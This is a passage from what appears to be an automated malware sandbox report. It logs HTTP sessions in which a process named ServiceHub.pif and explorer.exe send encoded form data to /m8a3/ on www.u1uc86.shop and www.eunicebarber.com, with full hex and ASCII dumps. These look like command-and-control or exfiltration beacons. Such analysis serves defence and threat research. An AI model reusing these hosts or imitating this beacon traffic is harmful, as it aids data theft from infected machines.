6e 44 72 5a 4a 70 4e 57 34 77 4b 69 2b 2f 61 39 78 6c 5a 66 66 35 77 34 34 79 4f 4e 7a 55 57 61 33 76 43 2f 34 62 69 2f 70 69 45 6d 62 55 4b 69 63 70 69 49 6a 43 32 51 4b 75 2b 2f 4b 4e 42 70 48 45 45 56 6a 59 67 58 4e 34 70 6f 4c 42 4a 45 56 59 38 61 34 74 57 34 79 35 78 33 67 62 48 59 52 47 6e 75 44 74 34 2b 30 73 33 4e 31 32 53 7a 74 67 2b 35 61 69 6e 4c 37 6b 49 42 33 2f 66 46 52 6a 49 77 6f 32 51 49 45 6a 52 45 79 2f 69 72 6a 46 6f 4d 65 41 30 37 4f 32 6f 38 30 45 33 50 79 46 4a 76 58 62 6d 48 45 32 66 59 75 63 67 79 66 76 58 38 50 2b 75 64 55 4b 73 63 31 58 75 63 2f 6a 5a 68 72 74 59 76 55 65 36 41 52 39 77 75 46 6c 36 4f 61 69 68 4e 53 39 74 6a 5a 30 58 45 59 7a 59 2b 34 68 36 37 42 7a 4e 4d 30 33 6f 53 31 33 32 6d 45 57 52 78 52 41 4c 45 42 71 58 43 6a 34 53 66 46 4a 30 31 59 53 66 61 57 62 79 63 47 53 44 2b 44 30 52 55 46 53 70 71 75 56 70 33 34 69 50 50 4f 79 4a 79 43 56 6b 41 33 39 63 74 63 67 61 5a 48 41 39 37 64 58 4e 53 48 38 62
                                        Data Ascii: yy9Uwvr=0jUnytDSIgjwr1JeRBqzhHvvctwmAhpbHGKRCHOsqO6rm8CNLz7rWqPQTH21TJyApfokJc16KGuQZU5naWtJUUhuqH/AIXkl6o9qScNPGLT/AJkdE48Zgab+9mQ1XBXAUAKZWMeBSVPeXouIhDz9YLszBdzjizptHV5InT2y4F3k6RYPIyZtLBUq8bZfibYy4sqmCv6egENmupsc82eeCgDko+8FfNyh8zRrglzVij3DnQ1T2KeiBIAxBA87XivGquLb2U9xKe7FrENuT1CvJpx/D2Qfo+Tf6Ra9L1EXHowTvNmkIHgM1LHnNR3anIBnLN4a07T02N5i4cdDidL2yRD3mK2+ZzKLCYQoDXB66PAvKy2FFKLMEXhfY+h+Zfn/PydRBt89NwXpsq7TQxx/2dpH92wEb3SKDZ42RBvXLC+Q5fLWxpw32224M1pd5Mt3j5RtJ7QNgW1tuasN+vejRk2/wDsJqzrXzxriuuKwdJuIKHjDudSmsqiWjZTiKX9S5yv3ejflplzQMUqVe5S84/i6++A7jk2CAmy1CJYjsQhu+3fjrQJ4R6cKiy7ygVhl25FKdHKjai+0bOotVdFwjtxBMTjlgONi7zukWrUCGrVw1lhHOLewv+fg4tVOFw2AWZw2EdtR4ipCL0fNrfhAdfkjkGpI6U5CA3CaY/JAem62URFt9Ui3cBSO4OKSXl1vPkvwNL6gkKiIDP6cp3w4Ve6qwvWOJth/2snOPQ8FUgfUoCoZGChgabmAfuI3PN+Y57NbYIzseLXa91UOxNgZTvxF3ppegUPwcTphrqVBG72+xB7HI4jM77rdSLu2dAk6UaswXGmCHH0TqUZwa6A2CMb0VfWIaykC9WAc+ziDjIgcMnns4yC2WVQgFhMG4pskyWeyhRCaqlCHlVI/JBIisCzXWdChh481Dex48LO4PmkWAcxe3xWpWhXcEWTfipy4jSXUN38kL1X79gCxzG5JbFPn7JS7n0rmDZvQlhXmg1IAOKh86bjveRJCRyxuOfJNdCKLw08vVRFYnDrZJpNW4wKi+/a9xlZff5w44yONzUWa3vC/4bi/piEmbUKicpiIjC2QKu+/KNBpHEEVjYgXN4poLBJEVY8a4tW4y5x3gbHYRGnuDt4+0s3N12Sztg+5ainL7kIB3/fFRjIwo2QIEjREy/irjFoMeA07O2o80E3PyFJvXbmHE2fYucgyfvX8P+udUKsc1Xuc/jZhrtYvUe6AR9wuFl6OaihNS9tjZ0XEYzY+4h67BzNM03oS132mEWRxRALEBqXCj4SfFJ01YSfaWbycGSD+D0RUFSpquVp34iPPOyJyCVkA39ctcgaZHA97dXNSH8b2mjh+kpEpozW24kWmuLpmGX656xJMzNyno/mhWyrzWC1DPRNHHTnyOK3AqhJdImbnKLh8Ea5wEMFR5BqQCZs6QWWjGbj6JBDJc50kS+Sy16MwgJd1ZydsNw==
                                        Jul 24, 2023 10:32:30.243773937 CEST955INHTTP/1.1 502 Bad Gateway
                                        Date: Mon, 24 Jul 2023 08:32:30 GMT
                                        Content-Type: text/html
                                        Content-Length: 568
                                        Connection: close
                                        Via: HTTP/1.1 SLB.18
                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                        Data Ascii: <html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        14192.168.2.5497328.217.57.9180C:\Users\user\Documents\ServiceHub.pif
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:32.782172918 CEST957OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.u1uc86.shop
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 188
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.u1uc86.shop
                                        Referer: http://www.u1uc86.shop/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Data Raw: 79 79 39 55 77 76 72 3d 30 6a 55 6e 79 74 44 53 49 67 6a 77 72 30 4a 65 51 51 71 7a 69 6e 76 76 50 64 77 6d 5a 78 70 52 48 47 32 5a 43 46 69 47 70 39 61 72 6c 74 79 4e 4b 42 44 72 59 4b 50 54 42 6e 32 78 58 4a 79 4a 70 66 6f 57 4a 64 4a 36 4b 47 4b 51 66 79 39 6e 53 33 74 4b 59 45 68 73 73 48 2b 48 49 58 6f 47 36 76 30 68 53 63 56 50 47 4f 54 2f 53 35 55 64 43 61 55 5a 6c 71 61 33 37 6d 52 31 58 42 54 76 55 45 57 52 57 4a 61 42 53 67 6e 65 57 39 69 49 6d 55 76 39 4b 4c 73 32 49 39 79 6b 69 69 77 38 64 6a 42 4f 75 43 33 42 6b 42 4b 49 33 43 4e 39 56 41 3d 3d
                                        Data Ascii: yy9Uwvr=0jUnytDSIgjwr0JeQQqzinvvPdwmZxpRHG2ZCFiGp9arltyNKBDrYKPTBn2xXJyJpfoWJdJ6KGKQfy9nS3tKYEhssH+HIXoG6v0hScVPGOT/S5UdCaUZlqa37mR1XBTvUEWRWJaBSgneW9iImUv9KLs2I9ykiiw8djBOuC3BkBKI3CN9VA==
                                        Jul 24, 2023 10:32:32.978796959 CEST957INHTTP/1.1 502 Bad Gateway
                                        Date: Mon, 24 Jul 2023 08:32:32 GMT
                                        Content-Type: text/html
                                        Content-Length: 568
                                        Connection: close
                                        Via: HTTP/1.1 SLB.13
                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                        Data Ascii: <html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        15192.168.2.5497338.217.57.9180C:\Users\user\Documents\ServiceHub.pif
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:35.488663912 CEST958OUTGET /m8a3/?wllV=ZE0BJ&yy9Uwvr=5h8HxZ/VEhiexXVbMxiTyVXwdokLOldADmOfAXPisI7PhPT+BDz7WcbBDni3TpPjpoYzH6wZLRHrGyVUSx0HWU95ukGtBkky0Q== HTTP/1.1
                                        Host: www.u1uc86.shop
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Language: en-US
                                        Connection: close
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Jul 24, 2023 10:32:35.672749996 CEST959INHTTP/1.1 502 Bad Gateway
                                        Date: Mon, 24 Jul 2023 08:32:35 GMT
                                        Content-Type: text/html
                                        Content-Length: 568
                                        Connection: close
                                        Via: HTTP/1.1 SLB.14
                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a
                                        Data Ascii: <html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        16192.168.2.549734134.73.114.3980C:\Windows\explorer.exe
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:40.889636040 CEST962OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.eunicebarber.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 1484
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.eunicebarber.com
                                        Referer: http://www.eunicebarber.com/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Data Raw: 79 79 39 55 77 76 72 3d 48 64 5a 53 6f 74 55 4f 2b 4f 6b 64 4e 31 55 65 35 43 38 6a 6d 31 4a 42 71 6e 7a 78 45 63 4d 55 57 4c 31 6a 67 4e 66 37 38 4d 67 33 6c 66 42 6e 4b 4c 74 54 38 76 2b 6d 5a 52 79 31 45 6d 2f 55 38 46 44 65 32 53 7a 34 6f 73 7a 47 73 4d 46 44 30 4c 4a 4c 75 67 2f 67 6f 4b 6c 64 79 76 4a 51 44 48 61 61 57 32 6e 75 68 64 2f 32 2f 71 76 49 50 61 31 4c 79 43 57 36 44 6e 43 30 76 42 73 55 6f 64 66 37 7a 53 63 65 54 65 71 61 74 4f 78 34 69 42 31 55 72 2f 54 4a 2f 76 49 2b 64 4b 41 58 79 49 6f 34 4d 6d 2b 45 58 58 5a 74 52 4b 61 48 58 55 4e 48 42 53 71 49 4a 7a 77 49 78 77 70 73 74 6e 59 2f 6e 35 4a 39 6d 53 68 73 54 66 48 48 6e 31 64 76 56 41 56 75 50 57 49 73 61 32 63 39 43 78 4e 46 58 52 7a 4a 4d 7a 6c 68 71 5a 4d 79 66 38 6b 47 4d 34 4d 6a 77 41 2b 50 66 45 68 51 6d 4d 6e 38 68 35 6e 76 58 4c 4b 36 68 6c 6c 50 48 6d 4f 52 79 69 37 46 47 34 58 53 41 31 31 69 55 65 5a 65 4a 32 39 37 39 4c 69 4b 37 54 2b 52 65 56 67 78 6a 4d 5a 63 43 70 71 77 41 75 59 51 4b 38 54 66 76 46 59 4c 58 4d 74 37 50 30 78 67 77 6b 72 6e 35 34 59 33 30 41 30 65 6d 74 41 77 31 6b 34 71 57 68 34 65 43 69 6f 2f 37 6f 2b 52 77 70 31 69 59 79 4f 35 32 79 4a 50 79 48 49 4f 2b 36 34 70 65 49 65 5a 38 76 50 4a 72 67 50 57 77 50 4c 79 75 43 39 37 4d 2b 66 5a 35 75 68 59 59 35 7a 32 51 65 64 64 68 70 68 52 53 72 7a 72 53 74 39 67 7a 47 68 6b 5a 7a 45 53 44 48 70 38 63 59 36 78 41 6e 76 67 64 71 6e 75 49 46 5a 2b 39 62 54 6b 51 71 42 2f 42 34 75 72 5a 33 43 39 72 2f 66 66 58 42 4c 44 4b 33 4d 61 41 31 37 33 67 62 39 36 74 44 53 48 46 47 52 31 53 52 42 32 6a 65 51 4a 70 71 67 4a 50 38 54 57 41 4c 58 51 6c 6d 47 61 55 6d 65 69 78 72 6f 4e 42 43 61 4b 6f 71 38 4c 78 72 51 65 34 5a 57 55 54 50 6f 42 42 49 4a 61 6a 70 6a 56 6c 70 37 43 4b 63 7a 35 51 72 32 4e 74 43 67 36 6f 49 66 58 68 42 48 36 70 58 4f 44 64 35 67 6c 7a 4e 67 52 71 73 38 59 6c 36 53 35 55 68 62 2f 62 50 31 41 50 43 49 59 55 6e 4e 67 42 4c 75 6a 33 71 61 5a 65 36 62 4a 72 6f 67 70 5a 50 78 56 76 6d 71 72 47 45 43 6e 69 6b 49 4c 78 34 4d 6a 51 74 6b 48 77 6a 4b 38 56 64 55 64 38 4a 31 72 43 77 73 43 32 4b 52 63 4b 6f 38 62 35 4d 6e 61 68 4e 55 77 73 58 52 31 65 52 4f 7a 36 58 6a 58 78 4e 4a 46 69 75 75 65 51 68 33 63 79 45 4b 56 43 4c 72 68 33 42 67 63 55 76 69 54 50 59 51 77 77 4e 47 4a 56 32 31 64 39 53 54 35 62 30 59 36 64 48 72 64 43 61 30 31 6d 43 54 77 50 45 31 57 58 54 57 44 4d 46 42 6d 51 71 4e 43 63 4f 33 4d 58 55 68 4a 61 63 59 57 37 69 6b 30 2f 56 52 6a 47 62 4f 4a 79 6f 38 56 43 74 6f 42 35 65 62 79 37 64 57 7a 71 57 66 50 30 4e 77 73 45 31 4f 75 5a 47 6c 33 54 4a 2b 55 53 61 53 58 75 4e 68 39 37 4e 49 4f 46 4c 53 54 34 77 70 5a 37 63 76 61 62 70 33 77 62 30 2b 56 71 5a 57 36 55 67 62 48 43 57 65 41 53 46 72 76 2b 57 76 64 57 44 66 62 75 74 58 6e 6b 2f 53 2b 58 78 79 5a 68 75 72 44 37 55 45 70 44 46 62 38 4e 48 77 79 56 45 36 62 32 48 49 53 5a 41 4a 4e 36 41 65 6f 65 49 53 34 48 71 57 53 33 59 67 48 76 75 58 69 63 49 68 6b 30 2f 42 4f 43 6d 50 41 4d 53 4b 6a 41 69 41 57 50 70 53 68 41 73 4f 58 68 32 48 6c 37 5a 66 55 39 72 77 44 52 44 47 4f 4b 63 70 2b 4a 66 35 42 6c 4b 48 41 48 6c 58 6b 73 76 52 42 35 74 64 7a 52 4c 6d 34 69 4b 4c 6a 46 4a 66 69 2b 48 63 42 4d 2f 39 73 2b 63 72 79 44 45 69 64 52 55 5a 6a 55 68 65 36 72 56 64 74 32 75 67 35 2f 30 51 79 55 43 4b 67 64 58 68 45 4b 4a 51 6a 6b 55 44 6d 43 39 79 45 78 31 5a 31 55 2b 45 75 6f 52 4d 78 58 57 47 69 64 36 4c 35 6f 31 67 4a 38 79 52 30 46 69 65 35 71 51 4e 6a 63 76 4e 63 53 32 35 32 36 75 4e 74 64 4d 44 54 65 46 48 7a 73 78 61 41 41 66 51 4c 62 6a 4a 37 42 32 4e 4c 67 2b 4e 35 79 41 47 4b 44 61 71 56 52 77 39 76 31 55 63 65 59 78 32 34 37 48 43 36 37 61 61 73 67 33 4a 57 34 46 50 72 52 30 44 52 35 79 44 65 2f 6b 4f 33 4d 6e 53 57 69 72 77 75 78 6f 74 53 4c 5a 34 48 78 71 42 4f 36 4f 66 5a 33 75 5a 2b 75 4d 4b 36 78 58 48 67 55 5a 59 76 66 77 65 42 35 6b 59 76 4f 52 47 66 38 70 6d 72 49 73 6c 49 4e 30 39 53 67 6f 69 37 7a 51 31 6b 45 66 34 77 72 4c 7a 68 41 31 6d 58 68 4b 59 71 46 61 66 36 68 31 71 7a 64 42 6f 63 78 72 57 39 6f 6b 76 64 6c 32 42 33 66 6f 5a 46 6c 6c 63 51 6b 71 75 4d 6c 44 6f 6c 4e 66 32
                                        Data Ascii: yy9Uwvr=HdZSotUO+OkdN1Ue5C8jm1JBqnzxEcMUWL1jgNf78Mg3lfBnKLtT8v+mZRy1Em/U8FDe2Sz4oszGsMFD0LJLug/goKldyvJQDHaaW2nuhd/2/qvIPa1LyCW6DnC0vBsUodf7zSceTeqatOx4iB1Ur/TJ/vI+dKAXyIo4Mm+EXXZtRKaHXUNHBSqIJzwIxwpstnY/n5J9mShsTfHHn1dvVAVuPWIsa2c9CxNFXRzJMzlhqZMyf8kGM4MjwA+PfEhQmMn8h5nvXLK6hllPHmORyi7FG4XSA11iUeZeJ2979LiK7T+ReVgxjMZcCpqwAuYQK8TfvFYLXMt7P0xgwkrn54Y30A0emtAw1k4qWh4eCio/7o+Rwp1iYyO52yJPyHIO+64peIeZ8vPJrgPWwPLyuC97M+fZ5uhYY5z2QeddhphRSrzrSt9gzGhkZzESDHp8cY6xAnvgdqnuIFZ+9bTkQqB/B4urZ3C9r/ffXBLDK3MaA173gb96tDSHFGR1SRB2jeQJpqgJP8TWALXQlmGaUmeixroNBCaKoq8LxrQe4ZWUTPoBBIJajpjVlp7CKcz5Qr2NtCg6oIfXhBH6pXODd5glzNgRqs8Yl6S5Uhb/bP1APCIYUnNgBLuj3qaZe6bJrogpZPxVvmqrGECnikILx4MjQtkHwjK8VdUd8J1rCwsC2KRcKo8b5MnahNUwsXR1eROz6XjXxNJFiuueQh3cyEKVCLrh3BgcUviTPYQwwNGJV21d9ST5b0Y6dHrdCa01mCTwPE1WXTWDMFBmQqNCcO3MXUhJacYW7ik0/VRjGbOJyo8VCtoB5eby7dWzqWfP0NwsE1OuZGl3TJ+USaSXuNh97NIOFLST4wpZ7cvabp3wb0+VqZW6UgbHCWeASFrv+WvdWDfbutXnk/S+XxyZhurD7UEpDFb8NHwyVE6b2HISZAJN6AeoeIS4HqWS3YgHvuXicIhk0/BOCmPAMSKjAiAWPpShAsOXh2Hl7ZfU9rwDRDGOKcp+Jf5BlKHAHlXksvRB5tdzRLm4iKLjFJfi+HcBM/9s+cryDEidRUZjUhe6rVdt2ug5/0QyUCKgdXhEKJQjkUDmC9yEx1Z1U+EuoRMxXWGid6L5o1gJ8yR0Fie5qQNjcvNcS2526uNtdMDTeFHzsxaAAfQLbjJ7B2NLg+N5yAGKDaqVRw9v1UceYx247HC67aasg3JW4FPrR0DR5yDe/kO3MnSWirwuxotSLZ4HxqBO6OfZ3uZ+uMK6xXHgUZYvfweB5kYvORGf8pmrIslIN09Sgoi7zQ1kEf4wrLzhA1mXhKYqFaf6h1qzdBocxrW9okvdl2B3foZFllcQkquMlDolNf22POS73kllsqte6/iwwIWVz2/e90PBfaFZK23Hpd57TrnyO6Cxc0ejoSQFaZxYHqIis7DUiOBt4YfhXAtemQFdKIrdhGy01JvWJfQf3yFllhZ1KHfB5KOc3w==
                                        Jul 24, 2023 10:32:41.102076054 CEST962INHTTP/1.1 400 Bad Request
                                        Server: nginx
                                        Date: Mon, 24 Jul 2023 08:32:41 GMT
                                        Content-Type: text/html; charset=utf-8
                                        Transfer-Encoding: chunked
                                        Connection: close
                                        Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a
                                        Data Ascii: d404 Not Found0


                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                        17192.168.2.549735134.73.114.3980C:\Windows\explorer.exe
                                        TimestampkBytes transferredDirectionData
                                        Jul 24, 2023 10:32:43.543162107 CEST963OUTPOST /m8a3/ HTTP/1.1
                                        Host: www.eunicebarber.com
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                        Accept-Encoding: gzip, deflate
                                        Accept-Language: en-US
                                        Content-Type: application/x-www-form-urlencoded
                                        Content-Length: 188
                                        Cache-Control: no-cache
                                        Connection: close
                                        Origin: http://www.eunicebarber.com
                                        Referer: http://www.eunicebarber.com/m8a3/
                                        User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                        Data Raw: 79 79 39 55 77 76 72 3d 48 64 5a 53 6f 74 55 4f 2b 4f 6b 64 4e 79 6f 65 36 32 6f 6a 6b 56 4a 42 36 33 7a 78 4f 38 4d 53 57 4c 78 64 67 4a 6e 72 38 2f 41 33 6c 71 6c 6e 4c 39 5a 54 37 76 2b 6c 53 78 79 71 62 57 2f 46 38 46 44 43 32 54 50 34 6f 73 6e 47 74 76 74 44 79 4b 4a 49 6c 77 2f 69 67 71 6b 61 79 76 46 7a 44 48 6e 46 57 32 50 75 68 66 72 32 38 71 2f 49 66 70 52 4c 33 79 58 78 4c 48 44 73 76 42 51 4e 6f 64 50 7a 7a 53 67 65 51 76 32 61 74 62 46 34 7a 47 5a 55 67 66 54 49 67 76 4a 39 63 72 70 5a 2f 34 70 79 46 56 66 30 4c 79 45 79 63 75 33 33 55 41 3d 3d
                                        Data Ascii: yy9Uwvr=HdZSotUO+OkdNyoe62ojkVJB63zxO8MSWLxdgJnr8/A3lqlnL9ZT7v+lSxyqbW/F8FDC2TP4osnGtvtDyKJIlw/igqkayvFzDHnFW2Puhfr28q/IfpRL3yXxLHDsvBQNodPzzSgeQv2atbF4zGZUgfTIgvJ9crpZ/4pyFVf0LyEycu33UA==
                                        Jul 24, 2023 10:32:43.699763060 CEST963INHTTP/1.1 400 Bad Request
                                        Server: nginx
                                        Date: Mon, 24 Jul 2023 08:32:43 GMT
                                        Content-Type: text/html; charset=utf-8
                                        Transfer-Encoding: chunked
                                        Connection: close
                                        Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a
